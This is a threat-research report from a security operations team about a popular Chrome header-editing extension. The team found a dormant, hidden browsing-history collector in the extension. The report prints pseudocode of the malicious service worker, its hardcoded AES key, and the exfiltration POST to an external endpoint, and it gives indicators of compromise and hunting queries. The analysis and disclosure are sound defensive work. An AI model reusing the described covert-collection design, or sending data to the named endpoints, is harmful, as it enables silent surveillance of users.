Hidden Exfiltration Capability Discovered in a Trusted, 900,000-User Chrome Web store Extension 

Update – 13th July 2026: Following our responsible disclosure, Google removed the ModHeader extension listing from the Chrome Web Store on Friday, 10th July. This reduces the risk of new installations from the official store, but organisations should still hunt for existing installations, review historical network activity, and remove the extension from managed and unmanaged browsers where present.

Threat Overview

During our response to an incident, the Stripe OLT SOC examined ModHeader (Modify HTTP headers), one of the most popular developer extensions on the Chrome Web Store, currently reporting 900,000 users, a 2.9-star rating, and a last updated date of 1st July 2026. The version we analysed, 7.0.18, was the live, publicly installable Chrome Web Store release at the time of analysis on 6 July 2026. Since then, Google has removed the extension from the Chrome Web Store.

Underneath this genuine and functional header-editing tool, version 7.0.18 contains:

• A browsing history collection engine that fingerprints the device, encrypts each visited domain with a hardcoded AES-GCM key, and stages the data in a local database.

• A prebuilt exfiltration channel designed to upload that encrypted history, roughly once per day, to a likely attacker-controlled endpoint api.stanfordstudies.com.

• Install, update, and uninstall telemetry beaconed to a second third-party domain extensions-hub.com.

• A content script that injects into every website visited and logs request metadata to a local store.

In the version analysed, the exfiltration trigger is currently gated off by an empty allow-list, meaning that browsing-history upload is dormant in this build. Every other component (the encryption key, the endpoint, the scheduler, the storage) is present and functional. This trigger could be changed with a routine extension update, silently, in the background.

Most importantly: we verified the malicious service-worker code against Google’s own Web Store signature. This extension is not a counterfeit reusing ModHeader’s identity – the signed, store-distributed build carries the surveillance functionality.

Background: Trust is the attack surface

Browser extensions occupy a uniquely privileged position. A single extension with broad host permissions can read and modify every page you load, watch every request your browser makes, and persist quietly across sessions. Users install them because they solve a real problem, and they extend trust on two signals: the extension is popular, and it came from the official store.

ModHeader is exactly the kind of tool that earns that trust. It is a genuinely useful utility for developers and QA engineers who need to add, modify, or remove HTTP request and response headers. It’s been around since 2020, has a genuine website, and reports 900,000 users.

That reputation is the point: when surveillance functionality rides inside a trusted, signed, actively maintained tool, it inherits all of that accumulated trust. There is no suspicious download, no sketchy sideload and no permission prompt beyond what the tool would plausibly need anyway.

Discovery

Discovery of this suspicious extension occurred through the response to an incident handled by the Stripe OLT SOC. What first drew attention was not the code but small inconsistencies in the packaging:

• The manifest author field is misspelled: modhader@ (missing the ‘e’). 

• The bundle ships a Simplified Chinese locale and contains a hardcoded internal marker string, mod盐header, where 盐 is the Chinese character for salt, a cryptographic hint hiding in plain sight. 

• Alongside the expected calls to the legitimate modheader.com, the code references two unrelated domains: stanfordstudies.com and extensions-hub.com.

While none of the findings above were conclusive by themselves on the hidden functionalities of the extension, it provided enough context for further, deeper, analysis to be conducted. 

Technical breakdown

1. Permissions and reach

The manifest requests the standard header-editor toolkit plus meaningful reach:

"host_permissions": ["<all_urls>"], 
"content_scripts": [{ "js": ["src/js/service/content_script_vite.js"], 
                      "matches": ["<all_urls>"] }], 
"permissions": ["alarms","contextMenus","storage","webRequest", 
                "declarativeNetRequest","scripting"]

For a header modifier, <all_urls> and webRequest are defensible. That’s precisely why they are effective cover: the permissions a surveillance tool needs are the same permissions this category of tool legitimately requests. The content script is injected into every page, and webRequest observers are registered across all URLs. 

2. The surveillance pipeline

The malicious logic lives in the bundled service worker assets/src/background-94ad634d.js, heavily minified and interwoven with the genuine ModHeader code and a copy of the Dexie IndexedDB library. Stripped of obfuscation, it implements a clean, data-collection design.

Device fingerprint. On first run the extension generates a unique identifier from the current timestamp and stores it, alongside a randomly generated AES-GCM initialisation vector, in an IndexedDB store named settings:

fp     = SHA-256(current_timestamp)         // stable device fingerprint 
aesIv  = crypto.getRandomValues(12 bytes)   // per-device IV

Hardcoded encryption key. At load, it imports a static AES-GCM key baked into the extension: 

key = importKeyFromBase64("aWfU3yG_wksZaQdSnxPJBOId0cAN8KK/UIlZbli7-bE")

Encrypting the collected data with a hardcoded key ensures that any recorded browsing telemetry is stored and transmitted as ciphertext. This significantly reduces visibility into the collected data for users, defenders, and automated tooling.

Domain collection. As the user browses, the extension extracts the domain from each visited URL, encrypts it with the AES-GCM key, and increments a per-domain counter in a second IndexedDB store named temp. Collection is capped at a maximum domain count of 1000 distinct domains – this is defined by the variable MaxDomainCount = 1000.

onVisit(url): 
    domain = extractDomain(url) 
    enc    = AES_GCM(key, domain, aesIv) 
    temp[enc] = (temp[enc] || 0) + 1
    MaxDomainCount = 1000

Staged, jittered exfiltration. A scheduler decides when to upload. It fires roughly once per day, but adds a per-victim time offset derived from the device fingerprint, so a fleet of infected browsers does not beacon in a detectable synchronised burst. When it fires, it serialises the encrypted domain map, wraps it with the fingerprint and browser identifier, and POSTs it to the operator endpoint, then clears the local store: 

POST https://api.stanfordstudies.com/app/log 
Content-Type: application/json 
{ "data": <AES-GCM ciphertext of visited-domain map>, 
  "fp":   <device fingerprint>, 
  "browser": <browser id> }

The upload routine re-tries up to three times and clears the temp store only on success. If activated, the design would align closely with patterns of behaviour is consistent with low-and-slow exfiltration: encrypted payloads, per-host jitter, daily cadence, and self-cleanup to minimise forensic residue.

3. The kill switch: dormant, not absent

Here is the detail that matters most for accurate reporting. The function that feeds visited URLs into the pipeline is wired to the browser’s tab-update event, but it begins with a gate:

onTabUpdated(tab): 
    browser = currentBrowser() 
    if allowList.indexOf(browser) === -1: return   // allowList is empty 
    ... 
    collectAndMaybeUpload(tab.url)

The allowList is declared as an empty constant array. Because it is empty, the membership check always fails, and the collector returns immediately. In this specific build, the browsing-history upload does not fire. 

From an architecture perspective, the encryption key, the endpoint, the scheduler, the storage, and the collection logic are all present in the analysed build. The only thing disabling them is one empty list that a future “update” can populate in a few bytes, with no new permissions and no user interaction. A dormant functionality that could be enabled through a future extension update, making this trusted extension a supply-chain attack time bomb, not a false alarm.

4. Active telemetry

While the browsing history upload sleeps, other tracking is live. On install, update, and uninstall the extension beacons to a third-party partner domain. It reports product, version identifier, and browser type, and it registers an uninstall URL before opening tabs to that domain:

https://www.extensions-hub.com/partners/installed/?name=ModHeader 
https://www.extensions-hub.com/partners/updated/?name=ModHeader 
https://www.extensions-hub.com/partners/uninstalled/?name=ModHeader

Separately, the all-URLs content script and webRequest observers record request metadata into local IndexedDB stores. In the profile we examined, those stores already contained plaintext records of real browsing activity (ad-exchange, analytics, and consent-management requests captured from ordinary sessions), confirming the monitoring components had executed rather than merely existing in code.

Proving it came from the store

The single most important question in a case like this is: is this the real extension, or a counterfeit that copied ModHeader’s identity to masquerade as the real thing? The answer changes everything, and it is answerable with cryptography rather than assumption.

Every extension installed from the Chrome Web Store ships a _metadata/verified_contents.json file. This is a manifest of per-file Merkle-tree hashes, signed by two keys: the developer’s publisher key and Google’s webstore key.

The signed webstore signature is the key point for proving the bundle is covered by Chrome Web Store content verification, this is not present on locally loaded or sideloaded extensions.

Decoding the signed payload in this bundle yields: 

item_id: idgpnmonknjnojddfkpgkljpfnnfcklj 
item_version: 7.0.18 
format: treehash (sha256, 4096-byte blocks) 
signatures: ["publisher", "webstore"] 
files: 37 entries, including 
   assets/src/background-94ad634d.js 
      -> B3BufSaXAwFXRoiXXCP_8_Xq-IFx9THvD-3__M7BLIM

The signed manifest explicitly enumerates the service worker bundle, under the official item ID idgpnmonknjnojddfkpgkljpfnnfcklj, version 7.0.18, with a Google webstore signature over it. 

We then recomputed Chrome’s content-verification tree hash for the on-disk file (SHA-256 over 4096-byte blocks, reduced with a branching factor of 128) and compared it to the signed root hash:

assets/src/background-94ad634d.js         -> MATCH 
assets/src/js/service/content_script...   -> MATCH

The code on disk is byte-for-byte the code covered by Google’s Web Store signature. The manifest.json hash differs, which is expected and benign: Chrome re-serialises the manifest and injects the extension key at install time, so that one file is never identical on disk. The executable code files, which Chrome never rewrites, match exactly.

Conclusion: the surveillance-related code analysed in this repor wasdistributed through the official Chrome Web Store listing examined by the SOC. Based on our available evidence, this does not appear to be a counterfeit extension reusing ModHeader’s identity.

The infrastructure behind it

Open-source intelligence research on the domains shows infrastructure that has existed over multiple years and consists of several independently managed components, rather than a single throwaway host.

stanfordstudies.com: the exfiltration back end

Despite the academic-sounding name, the domain has no connection to Stanford University. It is an aged, repurposed domain: its most recent historical A record (2019) pointed to 91.195.240.87, an address owned by SEDO GmbH, a domain-parking and marketplace operator, indicating it was parked or traded before being brought back into use. It has been under its current configuration since 2022, with DNS served by Google Domains name servers (since 10th May 2022) and mail handled by Lark Suite (larksuite.com) via MX and TXT records dating to the same year. It later drew a SANS newly-observed-domains flag on 19 September 2025, which reflects a rise in DNS activity rather than a registration date.

Lark is a China-origin collaboration suite, a small but notable detail alongside the extension’s Simplified Chinese locale and the 盐(“salt”) marker. We do not attribute operational significance to these Chinese links, but note them here for completeness.

Two subdomains expose the receiving end of the pipeline:

• api.stanfordstudies.com is the endpoint the dormant exfiltration code is built to POST encrypted browsing histories to. 

• devos.stanfordstudies.com returns an unauthenticated version banner disclosing an OpenSearch 2.17.1 cluster running on a Debian-based host, built on 26 September 2024. The internal host name in the banner (ip-172-31-32-247) is consistent with an AWS-hosted deployment. 

• devlog.stanfordstudies.com presents an exposed OpenSearch Dashboards login page.

An OpenSearch cluster as the back end fits the extension’s /app/log endpoint precisely: the operators are likely building a searchable log store, sized for large-scale ingestion of potential victim telemetry. The cluster’s late-September 2024 build date suggests the collection infrastructure was stood up in 2024.

At the time of writing, devos and devlog both resolve to a single AWS load balancer (dev-lb-672858631.us-east-2.elb.amazonaws.com) in the us-east-2 (Ohio) region, consistent with the private AWS address disclosed in the OpenSearch banner. 

extensions-hub.com: the monetisation front

This domain was first observed on 23rd January 2024. Its DNS uses Squarespace name servers (since 29th December 2023) alongside NS1, a privacy-oriented DNS provider, and it carries no historical A records. Its mail runs through Mailgun, and its www host is fronted by AWS CloudFront. The subdomain api.extensions-hub.com is used to retrieve “advertising partners”. In other words, the telemetry beacons we observed on install, update, and uninstall feed a monetisation and advertising back end.

Crucially, our own DNS checks showed that api.extensions-hub.com and api.stanfordstudies.com, the advertising API and the browsing-history exfiltration endpoint, currently resolve to the same Amazon EC2 host (3.147.61.167, AWS us-east-2). At the time of analysis, both domains resolve the same AWS-hosted IP address in the us-east-2 region. The observation does not independently prove common ownership, but it is consistent with the possibility that the services are operated by the same operator or share underlying infrastructure.

The bigger picture

This is a modern instance of a well-documented problem. In 2021, Brian Krebs described how popular browser extensions are quietly “bought out” and repurposed by advertisers and data brokers, turning trusted tools into monetisation and surveillance channels (KrebsOnSecurity). The infrastructure here, standing up in 2024 and maturing through 2025 and 2026, shares several characteristics with the pattern Krebs describes, now with encrypted staging and a dormant gate to reduce the detection capabilities of scanners.

Corroboration and historY

Our technical findings do not exist in a vacuum. They line up with a public trail of user complaints stretching back to 2023. 

In October 2023, a widely discussed Hacker News thread titled “The popular Chrome extension ModHeader is injecting ads into searches” documented the extension inserting advertisements into Google and Bing results. Commenters cited specific Chrome Web Store policy violations, and one recalled that the extension had, years earlier, “added something that converts you into some ‘proxy’ that was used for ad fraud”. The same period saw a wave of one-star reviews. 

Users and press reports from that period indicate the extension changed hands and moved to an ad-supported model. We treat the specifics of any ownership change as unconfirmed, and we make no claim about the intent of the original author. What is verifiable is the behaviour of the current signed build and the infrastructure behind it.

It is also worth representing the vendor’s own position fairly. ModHeader has publicly published an ad-sponsored plan and states that it will not inject ads into other web pages, collect user data, or require payment or sign-in for that plan. That stated position sits in direct tension with what we found in version 7.0.18: install, update, and uninstall telemetry beaconing to a third-party advertising back end, and a dormant, fully built engine for collecting and encrypting the list of domains a user visits. A public assurance that no user data is collected is difficult to reconcile with shipping a staged browsing-history collector, even a switched-off one.

When read alongside the infrastructure timeline, a coherent escalation emerges. The ad-injection complaints and the reported shift to a monetised model dates back to 2023. Infrastructure associated with stanfordstudies.com was observed to include an OpenSearch deployment reporting a September 2024 build date. In other words, this is not simply “a good tool that started showing ads”. It is a trusted tool that was monetised, and then, roughly a year later, fitted with code capable of collecting, encrypting, storing and potentially uploaded visited-domain telemetry.

Why the scanners said “safe”

At the time of analysis, third-party reputation services rated this extension as low risk, with security scores as high as 95/100 and “no signs of viruses, malware, or spyware”.

Automated extension scanners largely evaluate static signals: known-bad domains, obvious eval-based obfuscation, dangerous API patterns, and permission scope. This payload defeats that model on several fronts:

• The collected data is AES-encrypted, so a scanner sees ciphertext, not URLs. 

• The exfiltration is gated behind an empty allow-list, so dynamic analysis in a sandbox observes no outbound history traffic. 

• The malicious logic is minified and blended with a large legitimate codebase and a well-known database library. 

• The endpoints are novel domains with no prior reputation, not known-bad infrastructure. 

• The extension is signed and popular, which many scoring models treat as positive trust signals.

Signature and store provenance answer “did this come from where it claims”, not “is what it does safe”. Popularity answers neither. For high-permission extensions, provenance and reputation are necessary but wholly insufficient.

Indicators of compromise

Primary IOCs

Type	Indicator	Context
Network URL	https://api.stanfordstudies.com/app/log	Encrypted browsing-history exfiltration endpoint (POST, JSON)
Network URL	https://www.extensions-hub.com/partners/	Install / update / uninstall telemetry beacon
Extension ID	idgpnmonknjnojddfkpgkljpfnnfcklj	ModHeader (Modify HTTP headers), version 7.0.18

Supporting artefacts

Threat hunting: KQL queries 

The following queries target Microsoft Defender for Endpoint (advanced hunting) and Microsoft Sentinel. Tune the lookback window to your environment before running. 

1. Outbound connections to the exfiltration and telemetry domains (Defender)

let Lookback = 90d; 
let BadDomains = dynamic(["stanfordstudies.com", "extensions-hub.com"]); 
DeviceNetworkEvents 
| where Timestamp > ago(Lookback) 
| extend Host = tostring(parse_url(RemoteUrl).Host) 
| where Host has_any (BadDomains) or RemoteUrl has_any (BadDomains) or RemoteUrl has "/app/log" 
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName, 
          RemoteUrl, RemoteIP, RemotePort 
| order by Timestamp desc

2. Presence of the extension on disk (Defender)

let ExtensionId = "idgpnmonknjnojddfkpgkljpfnnfcklj"; 
DeviceFileEvents 
| where Timestamp > ago(90d) 
| where FolderPath has ExtensionId 
| summarize FirstSeen = min(Timestamp), LastSeen = max(Timestamp), 
            Files = make_set(FileName, 25) 
        by DeviceName, InitiatingProcessAccountName 
| order by LastSeen desc

3. Web proxy / firewall traffic to the IOC domains (Sentinel)

let BadDomains = dynamic(["stanfordstudies.com", "extensions-hub.com"]); 
CommonSecurityLog 
| where TimeGenerated > ago(90d) 
| where DestinationHostName has_any (BadDomains) or RequestURL has_any (BadDomains) 
| project TimeGenerated, DeviceVendor, SourceIP, SourceUserName, 
          DestinationHostName, RequestURL, DeviceAction, ApplicationProtocol 
| order by TimeGenerated desc

4. DNS resolution of the IOC domains (Sentinel)

let BadDomains = dynamic(["stanfordstudies.com", "extensions-hub.com"]); 
DnsEvents 
| where TimeGenerated > ago(90d) 
| where Name has_any (BadDomains) 
| project TimeGenerated, Computer, ClientIP, Name, IPAddresses 
| order by TimeGenerated desc

A hit on query 1, 3, or 4 indicates active communication with attacker infrastructure and should be prioritised. A hit on query 2 alone confirms the extension is installed; the presence of the temp / settings IndexedDB stores under that path is evidence the collection logic executed.

Impact

This extension can observe every page every one of its users loads. Even in its current dormant state, the risk is material: 

• Exposure of sensitive enterprise activity. A history of visited domains can reveal internal applications, VPN portals, identity providers, cloud management consoles, third-party SaaS platforms, suppliers, and business partners. For an attacker, this provides valuable reconnaissance into an organisation’s technology stack and operational footprint. 

• Leakage of sensitive URLs and tokens. Enterprise users frequently work with URLs containing SAS URIs, password reset links, magic-login links, embedded access tokens, invitation URLs, shared documents, and other credentials in query strings. Visibility into full navigation events creates the potential for access to sensitive resources without directly compromising an account. 

• Developer and administrator targeting. ModHeader’s usage is targeted towards developers, security engineers, QA personnel, and cloud administrators. These users routinely access staging environments, internal dashboards, administration panels, CI/CD platforms, cloud portals, and other high-value systems that would be of interest to an attacker. 

• Potential for silent activation. While no active exfiltration may be occurring today, the capability already exists. Browser extension auto-update mechanisms mean functionality can be changed without additional permissions or user interaction, allowing data collection behaviour to be introduced at a later date. 

• Large potential blast radius. With approximately 900,000 installations across likely corporate and personal devices, any future activation of browsing telemetry or data collection would have the potential to impact a substantial number of organisations simultaneously, providing broad visibility into enterprise environments, employee activity, and corporate infrastructure. 

Responsible disclosure

Following our disclosure, Google has removed the extension from the Chrome Web Store. We welcome this action, but removal from the store does not automatically remediate endpoints where the extension was already installed, so defenders should continue to identify and remove existing installations.

Conclusion

Trusting a popular, signed browser extension distributed through the official Chrome Web Store is a reasonable assumption. In this case, however, that trust is undermined by the presence of functionality that extends far beyond the extension’s stated purpose. The version analysed (7.0.18) contains a complete framework capable of collecting, encrypting, storing, and potentially transmitting browsing telemetry, despite that capability currently being gated by a single disabled condition.

While we did not observe active browsing-history exfiltration in this build, the underlying collection, storage, scheduling, and communication mechanisms are already present. The distinction between dormant and active functionality therefore hinges on a minor code change that could be delivered through the normal extension update process without requiring additional permissions or user interaction.

For users, the safest course of action remains straightforward: remove the extension, clear associated browser data, and verify that it has not persisted through browser sync or managed extension policy.

For security teams, this serves as a reminder that store provenance, digital signatures, and popularity are indicators of origin – not indicators of safety. Organisations should proactively hunt for the indicators identified in this report, remove or block the extension ID within managed Chrome environments, and add the associated infrastructure to network and endpoint detection controls.

Longer term, browser extensions should be governed as third-party software supply-chain risk: move managed Chrome towards a deny-by-default model, allowlist only reviewed extension IDs, restrict extensions with broad host permissions, monitor extension inventory and drift across the fleet, and periodically re-review high-permission extensions for ownership, behaviour, permissions, and external network destinations.

Ultimately, the concern is not what this extension is doing today, but what it is already technically capable of doing tomorrow. A trusted tool with the ability to silently transition from passive utility to active telemetry collection represents a supply-chain risk that defenders should treat with caution.

Acknowledgements

Charlie Kelly, Principal Security Analyst, Stripe OLT
Silas Bryant, Senior Security Analyst, Stripe OLT
Joss Moor, Senior Security Analyst, Stripe OLT
Sebastian Lacatusu, Security Analyst, Stripe OLT
Google Threat Intelligence Group

MITRE ATT&CK

Tactic	Technique	Context
Discovery	T1217 – Browser Information Discovery	Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. In the context of ModHeader, the extension was observed collecting and then storing data relating to the domains visited.
Persistence	T1176.001 – Browser Extensions	Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. In the context of ModHeader, a legitimate chrome extension was seen to hold malicious functionality.
Command & Control	T1573 – Encrypted Channel	Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. ModHeader was seen holding the ability to encrypt data prior to sending it to the C2 channel.
Exfiltration	T1041 – Exfiltration over C2 Channel	Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command-and-control communications. While the exfiltration mechanism was identified to be dormant in the version analysed, ModHeader was seen with a specific domain ready for C2 and exfiltration to occur over.